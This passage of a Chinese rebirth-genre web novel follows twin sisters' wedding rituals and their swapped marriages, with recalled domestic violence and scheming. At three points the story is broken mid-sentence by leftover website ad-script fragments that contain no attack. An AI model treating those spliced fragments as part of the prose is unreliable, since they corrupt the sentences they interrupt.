在确定好了婚期后，向雨涵她爹向大河匆匆忙忙地又去把家里的亲戚该请的都请了。向家的亲戚除了嫁出去的女儿，其他的基本都在本村，向雨涵她嘎婆那边，则是她娘赵氏重新定了婚期当天就去通知的。 时间一晃眼就到了五月初九。 一般到了出嫁的头一天，家里亲近的亲戚都是要过来帮忙，不但是为了准备第二天的嫁宴，还要参加这边的风俗——坐歌堂。 在天还没黑下去之前，向雨涵的大伯、三姑、四姑三家人，以及赵家大舅、三舅、大姨、小姨四家人都围着五张桌子吃起晚饭来。 平常难见荤菜的孩子们都吃的满嘴流油，欢快的不得了。 连平时不爱说话的大伯向大江吃了饭后，都对着掌勺的赵大舅夸赞不已。 赵家是有祖传手艺的，赵大舅也是十里八乡里有名烧大席师傅，之前刘夫人夸赞向雨涵的厨艺好，也就是向雨涵上辈子去她嘎婆家跟着大舅学的。 赵大舅经常出去给人烧大席，性格好嘴巴也能说会道，得了众人的夸也不谦虚，还讲了几个以前出去烧大席遇到的趣事讲给大家听，把没听过的向家人都笑得合不拢嘴。 向雨涵和向雨嫣吃了饭，就被她们大姨和小姨分别领进屋换衣服去了。 出嫁头一晚上虽然不用穿嫁衣，但坐歌堂还是要换上一套喜庆的新衣裳，简单装扮一下的。 因为是两姐妹同时出嫁，赵氏准备了两对红烛，让两边亲戚家未出嫁的四个送嫁姑娘们拿着。 红烛一点，向雨涵就跟着向雨嫣后面跟着前面端蜡烛的堂妹表妹们出了卧房。 见她们俩姐妹出来，家里的长辈们就开始唱起了《迎灯歌》。 “金儿唛银儿唛，金丝亮明灯，明灯亮海棠，红艳艳啰，月亮弯弯啰，今夜女儿出绣阁。 女儿唛哭出唛，金丝亮明灯 ，明灯亮海棠，出绣房哟，月亮弯弯啰，打发女儿出绣阁。 女儿唛出了唛，金丝亮明灯，明灯亮海棠，要离娘哟，花儿河边落，打发女儿出绣阁…… 向雨涵虽然嫁过一次人了，但那已经是好几十年前的事儿了，如今被一群全跟自己有血缘关系的亲人围着唱，被这种氛围包裹着，她不由得心里也酸酸的了。 等到众人唱完，向雨涵和向雨嫣也在堂屋里两张拼好的方桌上方坐好了。 两张方桌的中央放着两个喜盆，旁边则是几盘装的满满的小吃食，有炒得喷香的瓜子花生，有裹着油渣的酥肉团（多是淀粉，中间掺了一点点油炸碎），必不可少的还有赵氏一年前就压好的干咸菜，另外还有两个小一些的碗里装着麦芽糖。 6.坐歌堂（二） 向雨涵看着眼前的一幕，原本心里还有些尴尬，毕竟她心里觉得自己已经是老太太的年纪，如今又要被嫁一回，多少还是有些不好意思的。 还不等她做好心理建树，旁边向雨嫣就一嗓子唱了起来。 “哎呀嘞，我的爹呀我的娘，养育之恩难报答，今日女儿要出嫁。心中有千般不舍，泪水止不住地流。娘呀娘，女儿从此离开家，不知何时再能回，您要保重您的身。爹呀爹，您的教诲记心间，女儿会好好过日子，莫为我担忧……” 向雨嫣这边才唱完这段，她娘赵氏就已经眼泪不忍不住的流，嘴里呜咽着。 向大河看自己媳妇没接上歌，亲戚们又都在看着，只好硬着头皮用他五音不全的破锣嗓唱：“女儿呀，莫要太伤心，这是女子必经路，你且勇敢往前走。到了婆家要孝顺，夫妻恩爱和和睦，好好过……” 还没唱完，向大河也忍不住哽咽起来，毕竟当初两个双胞胎女儿出生时，他第一次当了父亲，刚开始还有些茫然，直到他跑去山坳里找到虚弱瘦小的大女儿时，他就发誓以后会当个好父亲，疼爱女儿，保护女儿们平安长大。 农家生计总归事多且杂，仿佛是一眨眼功夫，女儿就到了出嫁的年纪，明天就要离开这个家了，向大河心里感觉忽地痛得不行。 大家看着向大河难过的神情，虽然他歌唱得不好听，在这个时候也没人去笑话他。 向雨嫣此刻心里也难得柔软，看着向大河的目光也带了几分孺慕之情。她一声幽怨婉转的“爹”喊出口，向大河一个农家汉子顿时也崩溃得嗷嗷大哭。 赵氏也被向大河感染，想到这个惯来就会撒娇耍憨的大女儿明天就要出门，难过得直接扑了上去，一把抱住向雨嫣，连声地喊着“娘的心肝肉耶”。 把正在旁边愉快偷摸吃东西的向清福，被他娘这一嗓子吓得一激灵。 娘的心肝肉不就是自己吗？今天怎么变成大姐了？想不通就不想了，他无所谓地又把爪爪伸入了装糖的碗里。 他再不多抓点，就要被小堂哥向德财抓完了，可是亏大发了。 向雨涵像个事外人一样，看着旁边三人哭的动情，她有些不自在地把双手握在一起搓了搓大拇指。 向阿奶看着儿子儿媳都抱着大孙女儿哭，小孙女被忽视在一边抿嘴委屈（？）的样子，不由得也觉得心疼起来。 向阿奶偷偷拍了拍她大儿媳，小声提点了一句。 大伯娘接收到婆母的提点，立马小声咳了咳，然后响亮的一嗓子唱了出来。 “今日歌堂嘞，已开启耶，姐妹相聚嘞，多欢喜哟……” 其他人见状，立刻就对起了歌来①。 “歌儿一唱嘞，心花儿放耶……” “明日就要嘞，嫁他乡哟……” “新家里有嘞，好新郎耶……” “有吃有穿嘞，家兴旺哟……” 对歌开始后，向大河夫妇已经放开了向雨嫣，向雨嫣也抹了眼泪，又重新笑眯眯地坐在向雨涵旁边，脸上带羞地小声跟着大家唱。 一轮对歌结束，大伯娘又开始了新的开头。 “堂屋中间一张桌，桌儿上面登花钵，花钵登起满屋香，今晚小女要压箱，捉到花钵拖一拖，看你爹娘拿好多，看你爹娘拿好多。” “看你爹娘拿好多哦。”旁边众人跟唱了一句。 到了给压箱银子的时候了，向大河和赵氏这次倒是没有再忽略向雨涵，夫妻俩把提前准备好的两个小银子拿了出来，往向雨嫣和向雨涵两姐妹面前的喜盆里各放了一个。 “哟，果然是对女儿们一碗水端平了的，两姐妹一人一两银呢。” 向大河两夫妻给的压箱银在乡下人家里，一两银子不算多，但也不算太抠门，众亲戚也就纷纷夸赞起来。 向雨嫣看了一眼她爹娘给的一两银子，想着她娘之前明明答应了给她二两的，心里有些不快，但有碍于向雨涵在场，也没好开口问，想着等歌堂结束后再去找她娘赵氏要。 “茶又香来酒又甜，多谢爹娘的压箱钱。” 等向大河夫妻俩给过压箱钱之后，大伯娘又开始唱其他的亲戚，早有准备的亲戚们也纷纷给了压箱钱，不过基本都是铜钱，一人一把，很快喜盆里就堆了起来。 向雨涵上辈子就做过小买卖，自然眼尖，然后她就看到她小姨让小表弟丢给她的压箱钱是十六文，要比给向雨嫣的多六文。 上辈子因为小弟出事的打击，家里并没有安排坐歌堂，只请了亲戚在正日子里送了送嫁，所以也就没有小姨家给压箱钱的事。 向雨涵又回忆起，上一世她小姨第一次嫁的是一个走街串巷的货郎，小时候她还见过那个小姨夫，但后来不知是出了什么意外，小姨带着小表弟为小姨夫守了半年寡，然后又嫁给了赵家村里的一个闲汉，后来闲汉半夜醉酒跌河里没了，小姨就没有再嫁。 从时间上看，小姨如今已经嫁给了那个闲汉。 按理来说，那闲汉向来不管事，家里基本没有什么进项，小姨带着小表弟生活非常不易，是不会平白无故多给出压箱钱的，她这样做定是有所图。 但不管如今小姨是为了日后好攀附她嫁的东方家，还是别的什么原因，向雨涵都不能多收她这六文钱。 等到歌堂结束，向雨涵和向雨嫣又一起被送回了她俩的卧房。 亲戚们也都收拾了桌子板凳，安排了住宿。 只留那两对红烛流泪到天亮。 日出东方有阳光，花开无语有芬香。 向雨涵睁开眼时，刚好看到阳光沿着窗檐漏下一缕，房间外已经有人声喧杂。 院子边上已经搭好了锅灶，一口大锅上面放着几层蒸屉，蒸屉上面已经开始冒出蒸腾的水雾来。 姐姐向雨嫣已经起床了，正对着镜子出神。 听到向雨涵起身的动静，向雨嫣回头看了过去，两人四目相对，满是复杂。 向雨嫣率先开口：“今日你我姐妹，就将奔向各自的前程了。” 向 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 雨涵微微颔首，真诚祝愿：“愿姐姐幸福美满，如愿以偿。” 向雨嫣一怔，随后又笑眼弯弯：“自然会的。” 向雨涵看着她势在必得的模样，多年来脑海里那个温柔单纯的姐姐彻底消散。 重活一世，才发现原来自己的姐姐心思如此之狠。 原本向雨涵还在想，哪怕姐姐能在出嫁之前提点她那东方家不是良配，或者对自己这个妹妹能流露出一丝怜悯，她心里都会好受些。 不曾想就算是到了出嫁当天了，她依旧什么都没说，那一段姐妹之情，她也应当断了才是。 做下决定，向雨涵心里顿时轻松不少。 任他东方家是什么龙潭虎穴，这辈子她都要去闯一闯了！ “都起来了啊，那你俩就别耽误了，赶紧去清理一下自己，洗澡洗头，等会媒人就要来给你俩上妆了。”赵氏进屋提醒道。 向雨嫣笑靥如花地回应：“晓得啦，娘。” 赵氏见二女儿也点了头，就又出去忙去了。 出嫁前用过朝食，两位媒人就进入卧房里给两姐妹上妆。 洁面，抹粉，涂胭脂。 媒人正要给向雨涵画上当下时兴的柳叶眉，向雨涵笑着拒绝了，给自己画了个远山眉。 大家都觉得要说她和向雨嫣一卵同胞长得一模一样，其实她俩还是有不一样的地方，这唯一的区别就在于眉毛。 向雨嫣打小就体弱，眉毛也稀疏清淡。而她向雨涵则恰恰相反，从小就有力气，三岁就会干活，后来长大一些后，更是山间地头的乱跑，可谓精力旺盛，所以她的眉毛也长得更为浓密一些。 向雨涵看着坐在另外一边上妆的姐姐，一双柳叶眉更添柔弱风流，她不禁嘴角上带了几分笑。 这样娇生惯养的向雨嫣，希望那个盼着有媳妇操持家务，还能供他读书的宋峤会喜欢。 也希望向雨嫣如此坚定选择的未来“宋大人”，她也能坚持的住，熬到去京城当官夫人的那天。 正想着，门外噼里啪啦就响起了鞭炮声，远远的还有唢呐和锣鼓的声音。 没一会儿，向清福就笑嘻嘻地跑进来报信：“二姐，好像是二姐夫，他们来了好多人，还有大红花轿呢！” 向雨涵听完就看向了向雨嫣，果不其然，向雨嫣脸一下就垮了下来。 上一世，那大红花轿可是她的！ 向雨嫣顿时恨得牙痒痒，因为她此时想起上一世自己是如何风光被迎娶到东方家，而宋家那边则听说来的太晚，还差点误了吉时。 而这一世，风光成了向雨涵的，叫她心里如何不恨。 不过她又转念一想，这辈子她要嫁的是后来会考上京官的宋峤宋大人，心中郁气又渐渐散去。 等日后她成了官夫人，她一定会回来洗刷今日知耻，而那时…… 向雨嫣看了看一脸淡定的向雨涵，不由得勾起冷笑。 等她风光之时，这个妹妹还活没活在这个世上，也未曾可知了。 7.出嫁 东方晋身着一袭朱红色的新郎喜服，金丝绣线在阳光下熠熠生辉，宽宽的腰带束出挺拔身姿，乌发束起戴着新郎官帽，胸前还戴着大红绸花，剑眉星目间是藏不住的喜悦与期待。 好一个“迎娶娇娥小登科，意气风发少年郎。” 迎亲的队伍刚到，向家一众年轻男子就堵在了门口，个个手里都拿着竹棍。 东方晋知道这是要“打姑爷”，连忙嘴里好话不断地把提前准备好的红封散了出去。 向家这边哪里会真的打？大家又得了好处，都笑哈哈地不再为难他，连忙把迎亲的队伍都让进了院子。 进了大门，东方晋被大家伙拥着，引导去敲卧房门。 卧房门依旧是紧闭着，里面传来一阵哄笑的女声，其中一人问：“门外何人？” 东方晋回道：“在下乃起云县东方家第三子东方晋。” 门内又问：“所为何事？” 东方晋继续答：“今日乃良辰吉日，特地来迎娶新妇。” 门内笑道：“既然是来迎娶，就请赋催妆诗一首吧。” 一听这话大家伙又起哄笑了起来，却把东方晋为难住了。 他从小喜欢的就是武刀弄棍那一套，若不是祖父那一辈开始发达，家里就重视起读书，他恐怕连字都不会识得几个。 东方晋一时间急得满头大汗，回头看了一下身边几个一起来迎亲的兄弟，连忙就对好友崔逸民使了眼色。 崔逸民是这群好友兄弟里学问最好的，一看他使眼色，顿时明白自己之前给备的那几首诗，这家伙是一首都没记住。 但两人自幼相识，也知道这家伙从小就是个坐不住的，所以就提前给他做了准备。 思及此，崔逸民只能无奈地从袖兜里拿出一张纸递过去。 东方晋给好友一个感激的眼神，理了理嗓子高声念道：“不知今夕是何夕，催促阳台近镜台。谁道芙蓉水中种，青铜镜里一枝开。①” 东方晋念完，门内门外都是笑声中夹杂着叫好声。 “即使如此，新姑爷可还有何表示？”门内的人又笑问。 东方晋心里明白，笑着一挑眉，立刻从旁边帮忙背红包褡裢的好友伏梦舟那里掏出红包来，然后从最下面门槛缝里塞了进去。 里面一阵哄抢，又听到有个小姑娘喊：“新姐夫，我还没抢到。” 东方晋听到“姐夫”二字，高兴得哈哈大笑，又塞进去几个红包，没一会儿门就开了。 今日本就是喜事，人也多，就也没有那么多男女大防的说法，众人都笑呵呵地围着。 东方晋脑子里都是迎新妇，也不怕被人笑，结果一进去就看到新妇已经穿戴整齐，还盖了盖头。 他低头看了看露在嫁衣袖口的白细但略有些粗糙的手指，心里大定。 就在迎亲的头一天晚上，他兴奋到难以入睡，后来好不容易睡着了，却做了个噩梦，梦见自己迎错了新娘，把大姨子给娶回家里去了，把他吓得直接惊醒了过来。 他后来就想，这有可能是上天给他的警示，于是就一直在想要怎么样在不揭盖头的情况下分辨出自己的新妇。 直到在迎亲路上他都还在苦恼此事，几个好友都笑他，向家是孪生姐妹，就算揭了盖头他也不一定认得出来，他却一脸肯定地说没了盖头他就认得出来，大家都不信。 长着娃娃脸的伏梦舟是他的几个好友中脑子最好的，虽也和其他人笑话了他一阵，但也给出了建议，问新妇和她姐姐平时干的活计可否一样，身形有无差别。 东方晋一下就想起当初媒人打听完，回来给他母亲描述的话——那向家是有两个孪生女儿，大女儿体弱，常年娇养着的；二女儿身体好，勤快又利落…… 东方晋眼睛一亮，心里愉快地想：我媳妇勤快干活多，手肯定跟我的一样糙，我俩果然天生一对！ 于是一进门看到端坐着的新妇，他第一眼视线就去瞄人家的手。 一看就放了心。 东方晋从胸前掏出一个长条形的精致小木盒，当着大家的面，从木盒里拿出一只金凤钗来，然后递到向雨涵手边。 向雨涵本来还老神在在地眯眼坐着，忽然感觉有人靠近，视线就从盖头底下看到一双大鞋，脑子里还在想“这人脚可真大”，手边就多了一个亮闪闪的东西。 她下意识地就接了过去，然后忽然反应过来，那是一只新打的金凤钗，以她当了多年当官夫人的眼光来看，这只金凤钗做工还是有些粗糙了，应该是新手打的。 东方晋见新妇接了金凤钗在手里把玩，知道盖头底下的人正在打量，略有些不好意思地说：“这只凤钗是我特意为新妇所制……” 崔逸民等人立刻在后面帮腔：“愿两位新人从此鸾凤和鸣、情比金坚！” 说完大家伙连带屋子里正羡慕的女人们都哈哈笑了起来。 东方晋原本还有些不好意思，听到大家笑了也松了一口气跟着笑了。 “出门吉时已到，新娘拜别父母。”媒人站在门口唱道。 紧接着向雨涵手里又多了一条红绸带，另外一头在东方晋手里牵着。 二人一同走出卧房，东方晋为了照顾新妇的步伐，平时喜欢大步往前迈的他，今日步子也小了很多。 到了堂屋里，向大河和赵氏已经坐好。姑娘出嫁，这个时候爹娘得坐在主位，向阿奶则坐在了主位侧方。 在媒人一阵唱声中，两人向父母长辈敬了茶，磕了头，向雨涵又被赵氏抱着哭了一场，才被大堂哥背着出门上了花轿。 直到上了花轿向雨涵还有些恍惚——原来正常出嫁的经历应该是这样的吗？上一世她没有经历过，但恍惚间她曾经好像也曾幻想过。 低头摸着手里的金凤钗，向雨涵没有离家的忧伤，也没有出嫁的欢喜和紧张，而是心里有些纳闷。 从目前来看，这东方晋对这门婚事应当是很满意的，但后来为何东方晋会将向雨嫣活活打死呢？他们之间到底发生了什么事情？ 重生回来之后，向雨嫣对她没有丝毫提点，反而一门心思地想要嫁去宋家。 向雨涵对上一世东方家的事知之甚少，连向雨嫣之死也是在赵氏的口中得知。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 当时的说法是向雨嫣体弱，成婚三年不见有孕，东方晋整天出去花天酒地还赌博，经常醉醺醺地回家，见到向雨嫣就没好脸色，甚至有时候还动手打她。 最后一次，东方晋将向雨嫣打见了红，刚上身两个月的孩子没了，向雨嫣也大出血没能熬过去。 当时正值宋峤准备去参加府试（考秀才），而东方家晋家本就有人在朝中做官，他们与知府也有来往，所以向雨涵不敢拿宋峤的前程做赌注去东方家要说法，只能暗地里为姐姐哭了几场，并暗自发誓以后一定会暗地里想办法报复东方晋。 哪知道后来宋峤考中进士，家中也有了一定积蓄，向雨涵想找人背地里给东方晋下黑手。 结果还不等她出手，那东方家突然就败落了，东方晋也成了断腿的乞丐。 向雨涵脑海里至今还能想起，她最后一次见到东方晋时的情景。 一个断了一条腿衣衫破烂且浑身脏污的人，背坐靠在一个阴暗的巷子口，蝇虫围绕…… 想到这里，向雨涵悄悄掀开盖头的一角，又掀开花轿的门帘，偷偷的往外看。 就看到前面有一个穿着喜服，骑着大马身姿挺拔的背影。 跟当年她看到的那人完全不一样。 东方家已经把新妇迎上了花轿，准备回县城，宋家接亲的队伍才堪堪赶到。 两方迎亲的队伍走近后，三方人都暗自比对了起来。 东方家这边自然是志骄气盈的模样，而宋家那边气势就输了几分显得有些羡慕又局促，向家送亲的人则有些尴尬。 还好为了赶吉时，大家彼此也没有什么过多交流，东方晋也只是嘴上恭贺了牵着驴来的宋峤一句，就骑着他的大马继续往县城走了。 宋峤红着脸看了那大马好几眼，紧了紧手里牵着驴的缰绳。 他心中暗恨，发誓将来他考中做官，一定要骑上比他东方晋这匹还要好的大马，而且在起云县城里跑几圈，方能解今日之气。 被安置在向家夫妻俩卧房出嫁的向雨嫣，听到东方晋那边的锣鼓喧天，一想到曾经属于自己的气派的迎亲队，气得握紧了拳头。 除了生气以外，对于宋峤这边来迟她倒是一点不担心。 俗话说，好饭不怕晚。 宋峤以后可是要当大官的！ 向雨嫣一想到她曾经飘在宋家看到一切，她就心头火热。 官府报喜人来宣告宋峤会试榜上有名，成了村里第一个贡士，而且还去京城参加殿试，还能见到皇帝。 当时几乎村里所有人，甚至十里八乡隔的特别远的亲戚都上门来，大家都把向雨涵围在中间恭贺，就连县衙里的老爷都派人送了贺礼。 她看到妹妹向雨涵攒了好多好多的银子，装了满满一大匣子。 那可都是宋峤的本事挣来的呀！ 当初定亲宋家本来就是定的她向雨嫣，那些银子和恭维都应该是属于她的才对！ 这一世，她不会再那么傻乎乎地让出去，给向雨涵捡了便宜去！ 这辈子，她才是风风光光的宋家官夫人！ 8.迎亲 宋峤把牵着的驴栓在了向家院子外的大树下，理了理洗得发白但没有补丁的长衫，带着几个族人兄弟进去了。 向家这边依旧是要走一遍流程，但一看到他弱不禁风的小身板，也就意思意思地用竹块拍了几下，跟弹灰似的。 毕竟这个新姑爷没有红包，他们不打也不行，但打重了更不行。 到了催妆诗的环节，他倒是比东方晋强得多，很快就流利地念出一首，门内依旧是没开门，嘻嘻哈哈地讨要起红包来。 宋峤知道这是习俗不可避免，只能从衣兜里掏出几枚铜板塞了进去。 里面的几个姑娘丫头见只有几个铜板，原本以为是被轻视了，就把门堵着更不愿意开门了。 直到媒人发现不对劲，才连忙挤过去过去劝说。 “可别堵着的了！可别堵着了！等会吉时都要耽误了！” 众人一听，这才不情不愿的把门让开了。 等门一开，大家看到这位新姑爷的打扮，一下就明白了过来，也不在为难他，就让他顺利地进屋去牵着向雨嫣，二人再一同出去拜别父母。 向雨嫣也透过盖头缝儿看到宋峤那发白的长衫，心里虽然有些嫌弃，但一想到这人后来会发达，也就忍下了。 大概是赵氏之前已经抱着向雨涵哭过一场了，这次轮到向雨嫣，她的眼睛就没发挥好，抱着向雨嫣干嚎了半天才挤下两滴泪来。 向雨嫣也不在意，她心里更在意的是赵氏答应给她的二两银子，现在还欠着一两。 如果她现在嫁出门去，她敢打赌她娘绝对不会再给她了。 赵氏心里其实也门清，大概也是因为这事，她才对前面出门的二女儿哭得更真情实感一些。 向雨嫣惯来是个会来事的，见这会儿赵氏还没表示，就哭着扑在赵氏怀里，一边哭一边小声的提醒赵氏。 “呜呜娘，女儿舍不得离开你跟爹啊！呜呜……今日女儿就要去成为宋家的人了，以后就不能再照顾清福了，我只有这么一个弟弟啊，呜呜女儿真不放心啊……爹娘以后一定要保重身体，女儿若是以后日子好了，定不会忘记爹娘十多年来的养育之恩，还有弟弟的姐弟之情。” 赵氏一听向雨嫣提到自己的宝贝儿子，心里就想起那天晚上向雨嫣给的承诺。 她一边轻拍着向雨嫣的背，一边偷瞄了宋峤一眼。 这个大女婿虽然不如二女婿家有钱，但明明年纪更小，却比二女婿看着沉稳不少，如今也有了童生的功名在身，又要为寡母守孝，夫妻不能同房，那他肯定会更努力读书，那以后考上官老爷且不是更容易。 赵氏只是一介村妇，平时听到的都是读书人有多厉害的话，所以其实在她心里，宋峤读书人的身份是要比东方晋那种地主商贾要好得多的，未来也会有出息德多。 她到也没信向雨嫣说的宋峤以后能进京当大官，但哪怕以后大女婿就算没当成大官，只是在他们起云县这样的地方当县令老爷，那也是她作为村妇难以接触到的层面了。 如果到那时候，宋峤能看在大女儿的面上拉扯一把她的宝贝儿子，那以后的日子定是不愁的。 想到这里，她也不再犹豫，借着向雨嫣的身体做遮挡，偷摸掏出一锭银子塞到大女儿手里。 向雨嫣见银子到手，就不再继续哭了，赶忙让大舅家里的表哥把她背出门去。 只是在看到门口用来迎亲的那头驴时，她的脸还是垮了下去。 她一想到东方家那边是用花轿来接的向雨涵，心里顿时就恨上了向雨涵。 至于怎么不是恨东方晋，嗯，大概因为不敢吧…… 于是在成亲这件事上，向雨嫣和宋峤这对新婚夫妻，都恨上了另外一对，这怎么不能算是一种夫妻同心呢？ 话分两头。 从向家村去起云县城的路不算太远，但东方晋高兴，花轿进了县城后，他还给轿夫们都各自多发了一两银子，让花轿围着向家前后左右的巷子多绕了两圈。 好事成双嘛，两圈比较吉利，东方晋讲的。 于是东方晋今日成婚娶新妇的事情，很快就在县城里传开了，原本只是相邻人家家的娃儿出来要喜糖，变成了半个县城的娃儿来要喜糖。 东方晋也高兴，见人就发糖，直到后来糖发完了，就发铜板，还是一人两个，可把来围观的人高兴坏了，好听的祝词一串串地往外蹦，乐得东方晋见牙不见眼。 等到花轿从拥挤的人群里到达东方家大门口时，东方晋身上的喜服扣子都开了，头上的新郎官帽也歪了。 不过他人倒是很高兴，一直笑着，嘴巴就没闭上过。 崔逸民见他这般傻样儿，无奈地摇摇头，心里暗暗好奇，当新郎官都能高兴成这样？要不然我回家也同母亲提一提，当一回新郎官试试？ 伏梦舟倒是不知道老牌世家子弟崔逸民的想法，而是偷偷拍了拍另外一位好友，询问道：“记下了吗？” 那人捏了捏下巴上刚蓄出来还不长的胡须，笑呵呵地点点头道：“记下了，记下了，等喝完这顿酒回去就画。” 伏梦舟一想到苏石的那手丹青，会把东方晋此时笑得像个傻子的模样画下来，他就觉得乐。 但他们哪里会想到，此时的快乐竟会是东方晋一生中最纯粹最快乐的时光啊。 新妇下轿，跨火盆，踩瓦片，进大门，拜天地，拜父母，夫妻对拜，送入洞房…… 在媒人的指点下，向雨涵顺利地把流程走了一遍，盖头下的她压根不知道东方晋的脸都快笑烂了。 东方信鸿有三个儿子，这也是他第三次当公爹，所以当他看到三儿子那笑得不值钱的样子，隐约觉得有点头疼。 刘夫人则不然，她这也是第三次当婆母，但相比起前面两个儿子儿媳的相处，她更喜欢三儿与三儿媳相处的样子。 毕竟终于有人能管着这个皮猴子了，她也能多分出心去照看家里的孙子孙女去。 入了洞房，掀了盖头，东方晋看着那张他日思夜念了大半年的脸，仔细端详了好一会儿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ，直到向雨涵微微蹙眉，他才心满意足地收回视线。 嗯，媳妇可是很凶悍的，他之前早就见识过了，今天成亲还是不惹她为妙。 喝了合卺酒，向雨涵发现东方家准备的这米酒还挺好喝的，没有一点苦味，全是酒香、甜香，可见这位酿酒的师傅手艺很不错。 “夫人，这半天下来也饿了吧？你先坐着歇会儿，我去给你拿些好吃的。” 原本向雨涵看东方家准备的合卺酒是米酒，是为了照顾她这个新妇。 哪知她这一抬头才发现，才喝了一杯米酒的东方晋此时已经双颊通红，竟像是喝醉了一般站不稳。 新房里除了向雨涵就只剩下媒婆，门外倒是还站了一名小厮。 向雨涵把摇摇晃晃的东方晋往床上一丢，就去问那小厮：“你们家少爷这是怎么回事？” 却压根不知道东方晋摔在床上，把藏在被褥下的核桃莲子花生都砸碎了好些。 而且就算有层夏天用的被褥垫着，东方晋还是被硌得痛得龇牙咧嘴，酒都醒了一半。 小厮一脸懵逼地往里面望了一眼，发现他家三少爷已经趴在床上，脑子飞速运转后才回。 “我们家三少爷不善饮酒。” 向雨涵有些无语，活了两辈子，她也是第一次遇到酒量这么差的人。 正要准备叫小厮去厨房让人弄点醒酒汤来，一个穿着绛红色衣裙的女子带着个丫鬟就提着食盒进了院子。 走近后，她眼里仿佛是看不见向雨涵一般，对着门口的小厮就问：“大暑，晋哥哥可曾饮酒了？我这里备了醒酒汤。” 大暑一看是表小姐来了，连忙紧张地要把食盒接过去，嘴里忙说道：“表小姐想得太周到了，我一会儿就拿给我们少爷喝，前面应该要开席了，表小姐您还是过去陪着夫人吧。” 哪知这位表小姐压根没松手，脑袋一个劲往屋里探，要不是大暑拦着，外加向雨涵站在那里挡着，她就要挤进去了。 上一世，自从宋峤开始往家里抬小妾后，向雨涵最烦的就是应付这些上赶着往男人身上扑的女人。 她们的野心几乎都写在了脸上。 只是没想到这一世，自己才刚成亲，跨入东方家大门还不到一个时辰，就已经有女人上赶着出来宣誓主权了。 面对上一世这种事，她是怎么做的呢？ 哦，她选了一个当时在宋峤面前最受宠的，然后直接交出管家大权，然后带着丫鬟婆子们把自己多年来攒下的银钱和地契搬去佛堂，任由她们在外面斗得死去活来。 至于名声，那玩意她压根不需要！ 而需要名声的宋峤，他自己会处理。 向雨涵皱着眉头，身体却默默地让开了路。 那表小姐一见有机会进去，整个人立刻跟条水蛇一样蹿了进去。 向雨涵一下就看呆了。 “遭了！遭了！” 大暑连连喊着，一时间竟不知到底该进去屋里还是出去院里，急得团团转。 9.合卺 东方晋的酒量本来就是醉得快醒得也快。 在听到他表妹刘馥郁声音的时候，脑子就已经强行提前清醒了。 再一看到对方已经进了屋，他也来不及跟向雨涵解释，想也没想直接上前夺了对方手里的食盒。 原本看着弱柳迎风的刘馥郁在没了食盒的牵制之下，一掌拍开了东方晋想抓她衣领子的手，小踱步往前抬腿就是一个侧踢过去，却被东方晋另外一只手快速地格挡开了…… 两人就这么在屋里打了起来，还没来得及撤退的媒人吓得惊慌失措避无可避，最后也只能躲到床后的恭桶边，缩成一团瑟瑟发抖。 向雨涵看到这突如其来的一幕，一时间也惊呆了，还有些后怕地退后了几步靠在门板上，又反应过来跨出了房门，站在了屋檐之下。 心想还好自己之前没多东方晋的管闲事，不然遭殃的不是媒人就是自己。 媒人：…… 也难怪刚刚这表小姐进屋时的身法，灵活得得像条蛇，原来是有功夫在身的！ 但是她为什么会跟东方晋打起来啊？ 相爱相杀？ 爱而不得？ 向雨涵在脑子里想出了好几个以前听的戏本子，却没有一个跟眼前的一幕能对上号的。 若是争风吃醋的戏本子，这位表小姐不是应该一上来就跟她对上吗？ 呃，没对上也好。 毕竟扯头发、掐奶（阿弥陀佛）子、撩阴腿她还勉强能行，要论这样实打实的拳脚功夫，她还是算了吧。 还好新房收拾得宽敞，两人在屋里斗了二三十个回合，除了打碎了几个茶杯，桌椅板凳架子床都安然无恙。 而东方晋仗着身高优势，最终还是将刘馥郁拿下了，然后提拎着个子只到他腋下的表妹的衣领子大步走出了新房门。 被刚被拎着的刘馥郁还一个劲在嚷：“这不可能啊，三狗娃，你不是喝酒了吗？这样我还打不过你？” 被叫出小名的东方晋也不好去捂住表妹的嘴，他只是红着脸有些赧然地对向雨涵说道：“让媳妇儿你见笑了，先回去休息下吧，我让大暑他妹子给你送些吃的来。” 说完拎着刘馥郁的手臂又报复性地往上提了提。 刘馥郁知道东方三狗，哦不，三哥是真生气了，再也不敢动。 东方晋拎着已经一脸老实的表妹，走出几步又回头，一脸温柔地交待道：“哦，小心被褥，下面有东西，别硌着了。” “好。”向雨涵乖巧地回应，心里却在想自己之前对这个表小姐倒是想错了啊。 而且东方晋的身手也完全超出了她的意料啊。 不愧是能把向雨嫣打死的男人！ 别看他这时对她有好脸色，但说不准啥时候脾气一上来就打人了吧。 向雨涵没忍住打了个哆嗦，但还是努力地维持着面上的镇定。 出院门前，刘馥郁用力抓着自己前面的脖领子，努力扭头笑着对向雨涵说：“表嫂明天见。” “嗯，好。”向雨涵强行挤出笑容回应道。 东方晋见向雨涵笑了，表妹也老实了，也就把人放下了，两人一前一后地出了院子。 媒人也趁这个时候赶紧溜了出去，小厮大暑也把门关上，站到院子门口去了。 向雨涵见人都走后，自己回到屋里的梳妆台边坐下，拍了拍胸口，又把之前东方晋给她的金凤钗放到了抽屉里，然后才从袖子里摸出一把剪刀来。 一想到刚刚东方晋的身手，她不由得叹了口气。 这样的男人，如果硬拼的话，就很难杀啊。 不过就目前来看，他好像对自己还挺满意的，性格也不像是那种阴晴不定乖张跋扈之人，也不知道上一世向雨嫣和他是怎么走到那一步的，真是奇了怪了。 唉……不管怎么样，自己肯定不是对方的对手，既然如此，也只有既来之则安之，以后就先静观其变吧。 因为宋家的迎亲队来的晚了，回去的路上为了赶时间，大家都走得比较快。 向雨嫣虽然不用走路，但坐在驴背上的她感觉自己的腰都要被闪断了。 不仅如此，还得时不时小心地挪挪屁股，不然她早就摔下去了。 烈日当空，向雨嫣还带着盖头，一路上心烦气躁的，刚嫁出门还不到婆家，在半道上她就已经开始把宋峤气上了。 都说读书人脑子好使，屁！ 也不知道他宋峤后来是怎么当上大官的，娶媳妇不说跟东方家那样抬个花轿来，也至少借个牛车吧？ 他非要借头驴！ 还借了头嘴巴多的驴！ 一路上颠簸不说，那驴还时不时嗯昂嗯昂地叫唤，叫声大得直冲她天灵盖。 